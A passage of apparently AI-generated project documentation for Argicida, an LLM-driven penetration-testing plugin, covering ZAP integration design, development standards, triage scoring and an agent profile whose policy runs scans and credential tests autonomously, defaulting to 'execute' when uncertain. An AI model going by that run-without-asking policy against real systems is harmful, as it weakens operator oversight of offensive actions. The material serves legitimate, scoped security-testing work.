shifting breaks host-side overwrites. The entrypoint installs the cert via `SSL_CERT_FILE` environment variable on a tmpfs copy.\\n- **`ZapProxyInjector` normalizer** auto-injects per-tool proxy flags (`-proxy`, `-http-proxy`, `-x`) when ZAP is active. LLM-provided proxy flags take precedence.\\n- **Active scan scope enforcement** is doubly enforced: nftables FORWARD chain on the gateway (network layer) plus `pre_tool_call` hook validation (command layer). One open item remains \u2014 `zap_scan` lacks a `ToolProfile` entry for command-layer target URL validation.\\n\\nThis RFE is the foundational reference for all ZAP-related code in `zap/`, `tools/normalizers_zap.py`, `tools/parsers_zap.py`, `tools/transformers_zap.py`, and the ZAP-related fields in `pod/config.py`, `pod/launcher.py`, and `pod/session.py`.\\n\\n### `2026-07-25-zap-automation-framework.md`\\n\\n**Status:** Implemented (2026-07-26)\\n\\nRedesigns ZAP usage from individual REST API calls to ZAP's Automation Framework (AF) \u2014 declarative YAML plans that compose spider, passive analysis, authentication, active scanning, and reporting into pipelines.\\n\\nKey decisions recorded here:\\n\\n- **Why the original approach failed** \u2014 against DVWA, 10 minutes of active scanning produced 0 findings because unauthenticated spidering only discovered the login page. This is not DVWA-specific; any app behind a login wall has the same problem.\\n- **Browser-based auth as the default** \u2014 form/JSON auth methods are deprecated upstream (July 2025) because they cannot authenticate browsers launched by the Client Spider or AJAX Spider.\\n- **Complete AF job catalog** \u2014 27 job types documented with full YAML parameter schemas, gotchas, and usage notes. This serves as the primary reference for `zap/plan_generator.py`.\\n- **Passive-to-active rule mapping** \u2014 passive findings (no CSRF tokens, CORS misconfiguration, debug errors) inform which active scan rules to enable, reducing scan time and noise.\\n- **Credential testing via `sendRequest`** \u2014 the Fuzzer add-on has no production API (PR #2222 closed July 2026, Swing dependency). Credential testing uses `core/action/sendRequest` loops for simple forms and browser-based auth attempts for CSRF-protected forms.\\n- **`planProgress` does not return alerts** \u2014 a critical implementation constraint. Findings must always be fetched via `core/view/alerts` after plan completion.\\n\\n### `2026-07-26-test-target-infrastructure.md`\\n\\n**Status:** Draft\\n\\nProposes replacing the single nginx:alpine test target with two additional vulnerable applications \u2014 WebGoat (form-based auth, active scan surface) and VAmPI (JWT auth, OpenAPI import) \u2014 to exercise the AF integration paths that a static file server cannot cover.\\n\\nKey decisions recorded here:\\n\\n- **Why not DVWA, Juice Shop, or Gin and Juice Shop** \u2014 each rejected with specific technical reasons (fragile under scanning, no Docker image, outdated stack).\\n- **nginx:alpine retained** for scope enforcement, basic dispatch, and planted exposure tests. Not replaced.\\n- **Test coverage matrix** mapping each AF integration path to its validating target. This matrix drives which tests use which fixture.\\n\\n## How to Read an RFE\\n\\nStart with the **Problem** section to understand what motivated the change. If you only need the architectural outcome, skip to **Proposed Solution** and read the recommended option. If you are debugging or extending the implementation, the **Implementation Scope** checklist maps decisions to specific files, and **Open Questions** records constraints that shaped the code.\\n\\nThe **Current State** tables (capabilities implemented vs. missing, API methods wired vs. unwired) are snapshots from the authoring date. Cross-reference against the actual codebase before relying on them \u2014 the `Verified` date tells you how fresh the snapshot is.\\n\\n## How to Write an RFE\\n\\nWrite an RFE when a change touches three or more files across different subsystems, introduces a new external dependency (container image, API, protocol), or changes the pod topology or IPC model. Single-file bug fixes and refactors do not need RFEs.\\n\\nNaming convention: `YYYY-MM-DD-.md`. The date is when the document was first drafted, not when implementation started.\\n\\nRequired headers:\\n\\n```markdown\\n# RFE: \\n\\n**Date:** YYYY-MM-DD\\n**Status:** Draft | Implementing | Implemented | Verified\\n**Verified:** YYYY-MM-DD  (only when Status is Verified)\\n**Type:** Enhancement | Redesign | New Subsystem\\n**Depends on:**  (if applicable)\\n**Scope:** comma-separated file paths affected\\n```\\n\\nThe `Depends on` field creates a dependency chain between RFEs. The ZAP AF RFE depends on the ZAP proxy RFE; the test target RFE depends on the ZAP AF RFE. Read dependencies before reading the dependent document.\\n\\nEvery proposed option must address Podman compatibility (rootless, UID namespace, filesystem permissions, network topology). Code sketches should use actual Argicida types and patterns \u2014 `PodManager.exec_sync()`, `scope_dir` vs. `ipc_dir`, `0o644` for container-readable files. An RFE that hand-waves these constraints will produce an implementation that fails at integration time.\\n\\nOpen questions are numbered and never renumbered. When resolved, the original question text stays and the resolution is appended. This preserves the audit trail \u2014 a reader can see what was uncertain and how it was resolved.\\n\\n## Relationship to CLAUDE.md\\n\\nCLAUDE.md captures the **current** architectural truth \u2014 what the codebase looks like right now. RFEs capture the **reasoning** \u2014 why it looks that way, what alternatives were considered, and what constraints drove the design. When CLAUDE.md says \\\"ZAP runs as a sidecar with browser-based auth as the default,\\\" the ZAP AF RFE explains why form/JSON auth was rejected and documents the 10-minute zero-finding DVWA failure that motivated the change.\\n\\nIf an RFE's implementation scope is complete and verified, the architectural decisions should already be reflected in CLAUDE.md. If they are not, update CLAUDE.md \u2014 stale documentation in either location is a bug (per the project's validation rules: \\\"stale gap docs are lies\\\").\",\"other-docs-superpowers\":\"# Other \u2014 docs-superpowers\\n\\n# ZAP Integration Design Archive\\n\\n`docs/superpowers/archive/` contains the design specifications and implementation plans that drove the ZAP subsystem (`src/argicida/argicida/zap/`). These are historical records \u2014 the implemented code is authoritative, but these documents capture the *why* behind architectural decisions.\\n\\n## Documents\\n\\n| Document | Role | Status |\\n|----------|------|--------|\\n| `2026-07-22-zap-deep-integration-design.md` | Architecture spec \u2014 layered subsystem design, container image, pod lifecycle, tool definitions | **Approved**, implemented |\\n| `2026-07-22-zap-deep-integration.md` | Implementation plan \u2014 8 TDD tasks with file maps, interface contracts, test-first steps | **Executed** |\\n| `2026-07-22-zap-integration-gaps-design.md` | Gap closure spec \u2014 12 issues from pentester audit: finding enrichment, AJAX Spider, API import, context injection | **Draft**, partially implemented |\\n\\n## How These Documents Relate\\n\\nThe design spec came first and established the three-layer architecture (ZapClient \u2192 ZapManager \u2192 tools). The implementation plan decomposed that spec into ordered tasks with explicit interface contracts between them \u2014 each task declares what it consumes and produces so parallel work stays compatible. The gaps design followed a real-world audit and extended the original spec without changing the layer boundaries.\\n\\n```mermaid\\ngraph TD\\n    A[ZAP Deep Integration Design] -->|decomposed into| B[Implementation Plan]\\n    A -->|audited, extended by| C[Integration Gaps Design]\\n    B -->|produced| D[zap/ package + tools]\\n    C -->|extends| D\\n```\\n\\n## Key Decisions Recorded Here\\n\\n**Why `exec_sync(curl)` instead of the `zaproxy` PyPI package.** The host cannot reach `127.0.0.1:8090` inside the pod namespace under rootless Podman. All ZAP access must go through `PodManager.exec_sync()` running curl inside the ZAP container. A ~150-line custom client is less code than subclassing `ZAPv2` to override its transport. (Design spec, Section 3.)\\n\\n**Why ZAP Automation Framework was excluded.** The LLM is the orchestrator \u2014 a second orchestration layer inside ZAP is architecturally backwards. The LLM calls `zap_scan`, `zap_context`, `zap_auth` directly and decides sequencing based on what it discovers. (Design spec, Section 8.)\\n\\n**Why CA cert lives in `scope_dir`, not `ipc_dir`.** The `U`/`chown` mount on `ipc_dir` shifts ownership to the container's UID namespace, making host-side overwrites fail with `PermissionError`. `scope_dir` is host-owned throughout pod lifetime. (Design spec, Section 2b; also documented in CLAUDE.md's IPC File Permission Model.)\\n\\n**Why `ZapManager` lives on `PluginState`, not `PodSession`.** Different lifecycle \u2014 `PodSession` owns topology resources (pod, networks, temp dirs), while `ZapManager` owns application-level state (contexts, auth configs, scan policies). `ZapManager` is created after ZAP healthcheck and cleared in `on_session_finalize` after persisting findings. (Design spec, Section 4.)\\n\\n**Why the credential-to-auth mapping uses auto-detection with explicit override.** The `secret_type` field on `ValidatedCredential` (`token`, `api_key`, `password`) maps deterministically to a ZAP auth method, but pentesting often requires overriding this \u2014 a password credential might need JSON-based auth instead of form-based. The `method` parameter on `zap_auth` lets the LLM override when auto-detection is wrong. (Design spec, Section 4; gaps design, Section 9.)\\n\\n## Reading These Documents\\n\\nThe implementation plan (`2026-07-22-zap-deep-integration.md`) is the most useful for understanding how the subsystem was built. Each task lists:\\n\\n- **Files** \u2014 what was created and modified\\n- **Interfaces** \u2014 exact function signatures with types, documenting what each task consumes from prior tasks and produces for later ones\\n- **TDD steps** \u2014 test code written before implementation code, with expected failure modes\\n\\nThe interface contracts between tasks are the critical detail. Task 4 (ZapProxyInjector) declares it consumes `has_flag()` from `argicida.utils` and the `NormalizeResult` protocol from `tools/defs/_protocol.py` \u2014 if those interfaces changed, the plan would need updating before execution.\\n\\nThe gaps design (`2026-07-22-zap-integration-gaps-design.md`) includes verified ZAP API endpoint references with parameter names matching ZAP's Java source. The \\\"API Reference\\\" section at the end (truncated in this view) documents every endpoint's exact parameter names and types, verified against three independent sources. This is the reference to consult when adding new `ZapClient` methods.\\n\\n## Relationship to Live Code\\n\\nThese documents are **archived** \u2014 the `archive/` directory signals they've been executed or superseded. When the implementation diverges from these documents (and it will, as bugs are fixed and features evolve), the code wins. The documents remain valuable for understanding original intent, especially the \\\"deliberately excluded\\\" sections that explain what was considered and rejected.\\n\\nThe active specs directory is `docs/specs/`. If a ZAP design document appears there instead of in `archive/`, it hasn't been implemented yet.\",\"other-docs\":\"# Other \u2014 docs\\n\\n# Project Documentation (`docs/`)\\n\\nThe `docs/` directory holds three reference documents that govern how Argicida is built, what tools it integrates, and how its triage subsystem works. Each document has a different authority level and audience.\\n\\n## Document Index\\n\\n| Document | Authority | Audience | When to Read |\\n|----------|-----------|----------|--------------|\\n| `DEVELOPMENT-STANDARDS.md` | **Mandatory** \u2014 every rule is a defect if violated | All contributors | Start of every development session |\\n| `RESEARCH.md` | **Reference** \u2014 informs tool selection and roadmap | Contributors adding tools or planning features | Before proposing new tool integrations or architecture changes |\\n| `triage-engine.md` | **Technical spec** \u2014 describes the scoring pipeline | Contributors working on finding parsers, hooks, or triage logic | Before modifying anything in `hooks/`, `tools/parsers*.py`, or triage-related code |\\n\\n## Development Standards\\n\\n`DEVELOPMENT-STANDARDS.md` is the project's post-incident corrective action plan. It was written after a forensic analysis of the first 634 commits revealed a 1.21:1 fix-to-feature ratio (2.4x worse than industry baseline), 49% of fixes landing within 3 commits of the feature they repair, and 38 tests with zero assertions.\\n\\nThe document has four parts:\\n\\n**Part 1 (Forensic Analysis)** quantifies the failures with commit hashes, churn metrics, and test suite pathology. It identifies five root causes (RC1\u2013RC5) from an independent audit by 4 specialized agents on 2026-07-14. Three are resolved, one partially. The RC status sections track remediation progress \u2014 update them when gaps close.\\n\\n**Part 2 (Pattern Taxonomy)** catalogs five recurring failure patterns, each linked to persistent feedback memories in the auto-memory system. These patterns were identified because the same mistake was corrected multiple times across sessions before being formalized.\\n\\n**Part 3 (Rules)** contains 28 numbered rules (R-01 through R-28) organized by the failure category they prevent. Every rule cites the evidence that motivated it. The rules cover:\\n\\n- R-01 through R-03: Research before code (prevents guessing)\\n- R-04 through R-07: Resource lifecycle (prevents leaks)\\n- R-08 through R-09: Data integrity (prevents silent corruption)\\n- R-10 through R-14: Testing and verification (prevents false completion claims)\\n- R-15 through R-18: Commit discipline (prevents broken commits)\\n- R-19 through R-22: Debugging protocol (prevents symptom-patching)\\n- R-23 through R-25: Delegation quality (prevents unverified subagent output)\\n- R-26 through R-28: Accountability (prevents blame deflection)\\n\\n**Part 4 (Pre-Commit Checklist)** is the operational checklist that enforces the rules. The checklist includes an infrastructure-specific addendum for changes touching pods, IPC, containers, or scope.\\n\\n### Relationship to CLAUDE.md\\n\\n`DEVELOPMENT-STANDARDS.md` and `CLAUDE.md` overlap intentionally. CLAUDE.md is the machine-readable instruction set loaded into every Claude Code session. Development Standards is the human-readable document with full context, evidence, and rationale. When they conflict, CLAUDE.md wins (it is the operational authority), but the conflict should be resolved by updating whichever document is stale.\\n\\n## Tool Landscape Research\\n\\n`RESEARCH.md` documents a 40-agent adversarial research workflow (~3.2M tokens, ~1,480 tool calls) that evaluated the penetration testing tool landscape on 2026-06-29. It informed every architectural decision in Argicida.\\n\\nThe document evaluates three categories of tools:\\n\\n**Category 1 (LLM Agent Pentest Frameworks)** \u2014 concludes that no production-ready, local-first, scope-enforced LLM pentest agent exists. This finding is the reason Argicida exists as a Hermes plugin rather than a wrapper around an existing framework.\\n\\n**Category 2 (TTP Knowledge Frameworks)** \u2014 identifies Caldera + Atomic Red Team + TTPForge as the mature, interoperable stack for adversary emulation. These are Phase 6 roadmap items.\\n\\n**Category 3 (Traditional Automation Tools)** \u2014 ranks the ProjectDiscovery pipeline (subfinder, httpx, naabu, nuclei) as Tier 1 and identifies the network enumeration gap (SMB, SNMP, LDAP, SSH, RPC) that drove Phase 5 tool expansion.\\n\\n### Superseded Sections\\n\\nThe Integration Strategy section contains both current and superseded content. The original phased roadmap (Phases 1, 2A, 2B, 3, 4) was replaced on 2026-07-02 when the architecture shifted from a pipeline engine to LLM-driven tool dispatch. The current roadmap (Phases 3\u20136) follows the supersession notice. Phases 1 and 2A are marked complete with delivery summaries. The superseded phases are preserved for historical context \u2014 they explain why certain design decisions were made and later reversed.\\n\\n### Verification Claims\\n\\nThe \\\"Claims Killed by Verification\\\" table at the end is a key reference. It documents 20 fabricated or incorrect claims found during the adversarial verification pass. Before citing any tool capability from an external source, check this table \u2014 if the claim appears, the documented reality supersedes it.\\n\\n### Gap Analysis\\n\\nSeven capability gaps (Gap 1\u20137) define what Argicida must build because no existing tool provides it. Current status:\\n\\n| Gap | Description | Status |\\n|-----|-------------|--------|\\n| Gap 1 | Scope Guardian | Implemented (dual-layer: nftables + command validator) |\\n| Gap 2 | Finding Triage | Implemented (see `triage-engine.md`) |\\n| Gap 3 | Engagement Lifecycle | Implemented (LLM-driven, not FSM) |\\n| Gap 4 | Cross-Engagement Learning | Phase 6 roadmap |\\n| Gap 5 | Tool Output Normalization | Implemented (OCSF subset) |\\n| Gap 6 | Exploitation Boundary | Partially addressed (template/flag blocklists) |\\n| Gap 7 | Automated-to-Interactive Transition | Implemented (HUMAN_GATE + `/briefing`) |\\n\\n## Triage Engine\\n\\n`triage-engine.md` is the technical specification for the finding scoring and classification pipeline. It documents the four-stage flow from raw tool output to prioritized findings.\\n\\n```mermaid\\nflowchart LR\\n    A[Tool Output] --> B[Parsers]\\n    B --> C{Findings?}\\n    C -->|Yes| D[Dedup]\\n    C -->|No| E[LLM Perceptor]\\n    E --> D\\n    D --> F[EPSS/KEV Enrichment]\\n    F --> G[Composite Score]\\n    G --> H[Classify]\\n    H --> I[CRITICAL / INTERESTING / NOISE]\\n```\\n\\nThe document covers:\\n\\n- **Seven deterministic parsers** mapped to specific tools, with their CVE/CWE/credential extraction capabilities\\n- **LLM perceptor fallback** \u2014 fires only when deterministic parsers return nothing, uses `ctx.llm.complete_structured()` for structured extraction\\n- **Composite scoring formula** \u2014 weighted combination of severity (0.25), CVSS (0.20), EPSS (0.25), KEV (0.20), and ransomware linkage (0.10)\\n- **Classification rules** \u2014 deterministic priority-ordered rules that assign CRITICAL, INTERESTING, or NOISE triage levels\\n- **Hook integration** \u2014 how the five Hermes hooks (`scope_guard`, `normalize_result`, `capture_evidence`, `output_store`, `build_context`) wire the pipeline into the agent lifecycle\\n\\nThe air-gapped design is load-bearing: EPSS and KEV data are pre-downloaded local files, not runtime API calls. This supports deployments with no internet access during active engagements.\\n\\n## Other Documentation\\n\\nThe `docs/` directory also contains subdirectories not covered by this module's source set:\\n\\n- `docs/specs/` \u2014 Design specifications for specific features. Read the active spec before implementing; it contains dependency versions, interface contracts, and architectural constraints.\\n- `docs/archive/` \u2014 Superseded specs and gap analyses. Preserved for historical context, not operational reference.\\n- `docs/research/` \u2014 Research artifacts beyond the main `RESEARCH.md` (e.g., the 2026-07-02 offensive security research that informed the LLM-driven redesign).\\n\\n## Maintaining These Documents\\n\\nThe Development Standards document states: \\\"Gap analysis docs in `docs/` are living documents. Update them when gaps are fixed \u2014 stale gap docs are lies.\\\" This applies to all three documents:\\n\\n- When an RC status changes in the remediation plan, update Part 1 of `DEVELOPMENT-STANDARDS.md`\\n- When a roadmap phase completes or a gap closes, update `RESEARCH.md`\\n- When a parser is added or the scoring formula changes, update `triage-engine.md`\",\"other-profile-skins\":\"# Other \u2014 profile-skins\\n\\n# Profile Skins \u2014 `argicida.yaml`\\n\\n## Overview\\n\\nThe `profile/skins/` directory contains Hermes skin definitions \u2014 YAML files that theme the CLI's visual presentation. A skin controls colors, spinner animations, branding text, tool iconography, and banner artwork. Argicida ships one skin, `argicida.yaml`, which replaces Hermes's default appearance with a bronze-and-verdigris palette inspired by the mythological Hermes Argeiphontes (slayer of Argus Panoptes).\\n\\nSkins are pure configuration \u2014 no Python code, no call graph, no runtime logic. Hermes loads the YAML and applies it to its Rich-based terminal renderer.\\n\\n## Installation and Activation\\n\\n```bash\\n# Copy to the Hermes skins directory\\ncp profile/skins/argicida.yaml $HERMES_HOME/skins/argicida.yaml\\n\\n# Activate interactively\\n/skin argicida\\n\\n# Or set permanently in config.yaml\\ndisplay:\\n  skin: argicida\\n```\\n\\nThe skin is **not** installed automatically by `hermes profile install`. It must be copied manually or added to a post-install step.\\n\\n## File Structure\\n\\nThe skin YAML has seven top-level sections:\\n\\n| Section | Purpose |\\n|---------|---------|\\n| `name` / `description` | Identity \u2014 Hermes uses `name` for `/skin` lookup |\\n| `colors` | Hex color assignments for every UI surface |\\n| `spinner` | Animated spinner frames and verb lists |\\n| `branding` | Agent name, welcome/goodbye messages, prompt symbol |\\n| `tool_prefix` | Character drawn before tool output lines |\\n| `tool_emojis` | Per-tool icon mapping (tool name \u2192 emoji) |\\n| `banner_logo` / `banner_hero` | Rich-markup ASCII art for the startup banner |\\n\\n## Colors\\n\\nColors are organized into five functional groups, each mapped to a region of the Hermes TUI:\\n\\n**Banner** \u2014 the startup display. `banner_border` (verdigris frame), `banner_title` (gold heading), `banner_accent` (warm bronze highlights), `banner_dim` (muted commentary), `banner_text` (readable body).\\n\\n**UI elements** \u2014 interactive chrome. `ui_accent` (gold, primary highlight), `ui_label` (cool blue \u2014 the \\\"watchful eye\\\" color, used sparingly), `ui_ok`/`ui_error`/`ui_warn` (semantic status).\\n\\n**Prompt** \u2014 the input area. `prompt` (warm text), `input_rule` (separator line), `response_border` (frame around agent output).\\n\\n**Session** \u2014 engagement tracking. `session_label` (blue, matching `ui_label`), `session_border` (dark frame).\\n\\n**Surfaces** \u2014 backgrounds for menus, status bar, and selection. All use near-black values (`#161410`, `#2A2820`) for a dark-temple aesthetic. The completion menu has four background keys covering normal/current states and their meta variants.\\n\\nAll values are hex RGB strings. Hermes passes them directly to Rich's style engine.\\n\\n## Spinner\\n\\nThe spinner section defines animated sequences shown while the agent works:\\n\\n- **`waiting_faces`** \u2014 eye closing: `(\u25c9) \u2192 (\u25ce) \u2192 (\u25cb) \u2192 (\u00b7) \u2192 (\u25cb) \u2192 (\u25ce)`. Cycles while idle.\\n- **`thinking_faces`** \u2014 includes `(\u2298)` (the struck eye) in the cycle. Shown during LLM inference.\\n- **`thinking_verbs`** \u2014 eight myth-flavored status messages (\\\"lulling the watchman\\\", \\\"drawing the blade\\\", etc.) displayed alongside the spinner.\\n- **`wings`** \u2014 bracket pairs flanking the spinner: `\u27e8\u25c9 ... \u25c9\u27e9`, `\u27e8\u263f ... \u263f\u27e9`, `\u27e8\u25cc ... \u25cc\u27e9`, `\u27e8\u2020 ... \u2020\u27e9`. Hermes cycles through these as visual phase markers.\\n\\n## Branding\\n\\n```yaml\\nbranding:\\n  agent_name: \\\"Argicida\\\"\\n  welcome: \\\"Argicida ready. The hundred eyes are watching.\\\"\\n  goodbye: \\\"The watchman sleeps. \u263f\\\"\\n  response_label: \\\" \u263f Argicida \\\"\\n  prompt_symbol: \\\"\u263f\\\"\\n  help_header: \\\"(\u263f) Available Commands\\\"\\n```\\n\\nThe Mercury symbol (\u263f) is the consistent glyph. `response_label` appears in the border of every agent response block. `prompt_symbol` replaces Hermes's default `>` at the input line.\\n\\n## Tool Emojis\\n\\nEvery registered Argicida tool has a unique emoji for visual scanning in output:\\n\\n| Category | Tools | Icons |\\n|----------|-------|-------|\\n| Network recon | nmap, naabu, tracepath | \ud83d\uddfa \ud83d\udeaa \ud83d\udc63 |\\n| Web | httpx, nuclei, katana, ffuf, curl | \ud83c\udfdb \ud83d\udc41 \u2694 \ud83d\udd13 \ud83e\udeb6 |\\n| DNS | dnsx, subfinder | \ud83d\udcdc \ud83d\udd31 |\\n| Services | smbclient, rpcinfo, db_query, redis_query, ssh_exec | \ud83d\udcc1 \ud83d\udd14 \ud83c\udffa \ud83d\udd11 \ud83d\udddd |\\n| Management | engagement_create, scope_define, triage_findings, briefing_generate | \ud83d\udccb \ud83c\udfaf \u2696 \ud83d\udcc4 |\\n| Assets/artifacts | artifact_save/list/read, screenshot, add/remove_host | \ud83d\udcbe \ud83d\udce6 \ud83d\udcd6 \ud83d\udcf8 \u2795 \u2796 |\\n\\nThe mapping key is the full tool name as registered in Hermes (e.g., `argicida_nmap`). Tools not listed here fall back to Hermes's default tool icon.\\n\\n## Banner Art\\n\\nTwo Rich-markup blocks render at startup:\\n\\n- **`banner_logo`** \u2014 block-letter \\\"ARGICIDA\\\" using box-drawing characters. Six lines, each tagged with a progressively darker color from `#D4A574` (bright bronze) at the top to `#4A5A3A` (dark verdigris) at the bottom, simulating an inscription lit from above.\\n\\n- **`banner_hero`** \u2014 a braille-dot eye (Argus Panoptes) with a vertical color gradient: verdigris crown \u2192 bronze iris \u2192 gold center \u2192 rapid fade to shadow below. The Mercury glyph (\u263f) beneath marks the kill. Both blocks use Rich's `[color]...[/]` inline markup syntax.\\n\\n## Adding a New Skin\\n\\nTo create an alternative skin, copy `argicida.yaml`, change `name`, and modify any section. All keys are optional \u2014 Hermes falls back to defaults for missing entries. The minimum viable skin is:\\n\\n```yaml\\nname: my-skin\\ndescription: \\\"one-line description\\\"\\ncolors:\\n  ui_accent: \\\"#FF0000\\\"\\n```\\n\\nPlace the file in `$HERMES_HOME/skins/` and activate with `/skin my-skin`.\",\"other-profile\":\"# Other \u2014 profile\\n\\nI now have a thorough understanding of the profile module. Let me write the documentation.\\n\\n# Pentest Profile (`profile/`)\\n\\nThe `profile/` directory is a [Hermes profile distribution](https://hermes-agent.nousresearch.com/) \u2014 a self-contained package that transforms a generic Hermes agent into a penetration testing operator. When installed, it configures the LLM identity, model routing, tool access, delegation behavior, and technique skills for security assessments.\\n\\nThis is not application code. Nothing here is imported by the Python packages in `src/`. Instead, Hermes reads these files at runtime to configure the agent session. The profile is the interface between Argicida's tooling infrastructure and the LLM that drives it.\\n\\n## How Installation Works\\n\\n```bash\\nhermes profile install /path/to/Argicida/profile --alias\\n```\\n\\nHermes copies the profile contents to `$HERMES_HOME/profiles/pentest/` and creates a `pentest` command alias. After installation, the operator interacts with the system via `pentest chat`, never by running Argicida directly.\\n\\nThe installed copy is the live runtime copy \u2014 the LLM reads SOUL.md and skills from there, not from the repository. Changes made by `hermes profile update pentest` or by the LLM at runtime (skill self-improvement) modify the installed copy. Use `scripts/sync_skills.py` to reconcile diffs between the repo and runtime copies.\\n\\n```mermaid\\nflowchart LR\\n    R[\\\"profile/(repo, version-controlled)\\\"]\\n    I[\\\"$HERMES_HOME/profiles/pentest/(installed, runtime)\\\"]\\n    R -- \\\"hermes profile install\\\" --> I\\n    R <-- \\\"scripts/sync_skills.py\\\" --> I\\n    I -- \\\"read at session start\\\" --> H[\\\"Hermes Agent\\\"]\\n    H -- \\\"skill self-improvement\\\" --> I\\n```\\n\\n## File Inventory\\n\\n| File | Purpose |\\n|------|---------|\\n| `distribution.yaml` | Profile metadata: name (`pentest`), version, `hermes_requires` constraint, optional env vars (Shodan/Censys API keys) |\\n| `config.yaml` | Full Hermes configuration: model, provider routing, agent behavior, delegation, tool access, guardrails |\\n| `SOUL.md` | LLM identity and behavioral directives \u2014 defines *who* the agent is and *how* it operates |\\n| `skins/argicida.yaml` | Terminal skin: colors, spinners, tool emojis, banner art. Activated by `display.skin: argicida` in config |\\n| `.no-bundled-skills` | Empty sentinel file that tells Hermes not to bundle default skills \u2014 only `skills/` ships |\\n| `.gitignore` | Excludes runtime-generated files (state DBs, sessions, memories, caches) from version control |\\n| `skills/security/` | LLM-facing technique skills (13 top-level, 13 sub-skills) |\\n\\n## `config.yaml` \u2014 Agent Configuration\\n\\nThe config controls every aspect of the Hermes session. Key decisions encoded here:\\n\\n**Model routing.** The default model is Gemma 4 12B via a local llama-server at `localhost:8080`. Two model aliases provide task-specific routing: `scan` (Gemma 4 12B for interactive tool execution) and `analyze` (Qwen 35B on a second endpoint at `:8081` for heavier analysis). Qwen 35B is also the fallback provider.\\n\\n**Toolset lockdown.** All non-Argicida toolsets are explicitly disabled \u2014 `terminal`, `file`, `browser`, `web`, `vision`, `code_execution`, and 17 others. The LLM can only use `argicida_*` tools, `skills`, `memory`, `todo`, `clarify`, and `delegate_task`. This prevents the model from attempting shell access or file operations that would bypass the container isolation.\\n\\n**Delegation.** The orchestrator delegates scan execution to subagents (`max_concurrent_children: 4`, `max_iterations: 50`). `child_timeout_seconds: 0` disables subagent timeouts \u2014 scans run as long as they need. Subagents use the same model as the orchestrator.\\n\\n**Guardrails.** Tool loop detection warns after 3 exact-repeat failures and hard-stops after 5. Same-tool failure thresholds are slightly higher (4/7). These prevent the LLM from burning its turn budget retrying broken commands.\\n\\n**Other notable settings:**\\n- `agent.max_turns: 150` \u2014 extended budget for full assessments (default Hermes is 90)\\n- `terminal.timeout: 300` \u2014 5-minute timeout per tool execution\\n- `compression.threshold: 0.71` with `protect_last_n: 35` \u2014 aggressive context compression but preserves recent turns\\n- `security.allow_private_urls: true` \u2014 required for scanning RFC 1918 targets\\n- `skills.write_approval: true` \u2014 operator must approve skill modifications\\n- `tools.tool_search.enabled: 'off'` \u2014 disables dynamic tool search (all tools are pre-registered)\\n\\n**Quick commands.** Two diagnostic shortcuts available at the Hermes prompt:\\n- `/pod-status` \u2014 runs `podman pod ps --format json`\\n- `/engagement-db` \u2014 queries the 5 most recent engagements from SQLite\\n\\n## `SOUL.md` \u2014 LLM Identity and Behavior\\n\\nSOUL.md is the system prompt extension that defines the agent's persona and operational rules. It is injected into every LLM turn. The document uses XML-tagged sections (``, ``, ``, etc.) for structured behavioral control.\\n\\n### Autonomy Tiers\\n\\nThe core design decision: which actions the LLM executes immediately vs. which require operator approval.\\n\\n**Autonomous** \u2014 the LLM runs these without asking:\\n- All 16 scan tools (nmap, nuclei, httpx, naabu, dnsx, subfinder, katana, ffuf, curl, smbclient, rpcinfo, tracepath, db_query, redis_query, mongo_query, ssh_exec)\\n- All management tools (engagement_create, scope_define, triage_findings, briefing_generate, artifact_save/list/read, screenshot, engagement_query)\\n- Infrastructure tools (add_host, remove_host)\\n- Tool chaining based on results\\n\\n**Gated** (requires `/approve-gate`):\\n- Exploits, payloads, shells, implants\\n- Credential bruteforce beyond default-login templates\\n- Modifying target state (writing files, creating accounts)\\n- Irreversible actions\\n\\nThe decision rule defaults to **execute** when uncertain \u2014 the scope guard enforces boundaries at the infrastructure level, so the SOUL doesn't need to be the last line of defense.\\n\\n### Delegation Architecture\\n\\nSOUL.md defines an orchestrator/subagent split. The orchestrator:\\n- Runs lightweight management tools directly (engagement_create, scope_define, engagement_query, add_host)\\n- Delegates all scan execution to subagents via `delegate_task`\\n- Passes toolset filters per task type (e.g., `[\\\"argicida\\\", \\\"argicida-web\\\", \\\"skills\\\"]` for HTTP enumeration)\\n- Queries the engagement database for structured results after delegation returns \u2014 never parses subagent text\\n\\nEach delegation context must include: engagement name, scope, target, objective, and a `skill_view('pentest-methodology')` instruction so the subagent loads the tool syntax reference.\\n\\n### Chaining Rules\\n\\nSOUL.md prescribes tool chains organized by phase:\\n\\n- **Discovery:** naabu \u2192 nmap -sV\\n- **Enumeration:** HTTP \u2192 httpx \u2192 nuclei \u2192 katana \u2192 ffuf; DNS \u2192 scope_define \u2192 dnsx \u2192 add_host \u2192 scan new hosts\\n- **Deep Testing:** ZAP active \u2192 credential testing \u2192 file retrieval \u2192 exploitation follow-up\\n\\nThe key directive: \\\"Do not stop between steps to ask what to do next.\\\"\\n\\n## Skills \u2014 Three-Tier Progressive Disclosure\\n\\nSkills are the LLM's technique knowledge. They live in `profile/skills/security/` and deploy to `$HERMES_HOME/profiles/pentest/skills/security/` on install.\\n\\n### Context Budget Management\\n\\nSkills use a progressive-disclosure design to manage the LLM's limited context window:\\n\\n| Tier | When loaded | Token cost | Content |\\n|------|-------------|------------|---------|\\n| Always present | Every turn | ~900 tokens | Tool syntax table, service-to-tool matching table (from pentest-methodology) |\\n| First turn only | Orchestrator's first turn | ~3800 tokens | Full pentest-methodology (decision trees, interpretation guides, common mistakes) |\\n| On demand | `skill_view('name')` | 500\u20133000 each | Service-specific technique skills |\\n\\nSubagents receive only the ~900-token quick-reference plus a `skill_view('pentest-methodology')` instruction \u2014 never the full methodology content.\\n\\n### Skill Inventory\\n\\n**Root-level skills** (13):\\n\\n| Skill | Covers |\\n|-------|--------|\\n| `pentest-methodology` | Tool syntax reference, argument rules, enumeration order, result interpretation |\\n| `network-discovery` | naabu/nmap recon workflow, port discovery, service detection |\\n| `dns-enumeration` | dnsx: zone transfers, record types, reverse DNS, subdomain bruteforce |\\n| `web-enumeration` | Hub skill: 11-phase scan strategy, links to 8 sub-skills |\\n| `db-enumeration` | Hub skill: triage order, usql contract. Links to 5 DB-specific sub-skills |\\n| `mongo-enumeration` | mongosh via mongo_query |\\n| `smb-enumeration` | smbclient share listing and file access |\\n| `rpc-nfs-enumeration` | rpcinfo, NFS mounts, NIS detection |\\n| `redis-enumeration` | redis-cli: auth, ACL, config, keyspace |\\n| `ssh-enumeration` | Banner analysis, auth methods, credential testing |\\n| `ftp-enumeration` | Anonymous access, directory listing, credential testing |\\n| `smtp-enumeration` | Relay testing, user enumeration |\\n| `telnet-enumeration` | Banner grabbing, authentication testing |\\n\\n**Hub skills** contain sub-skills in 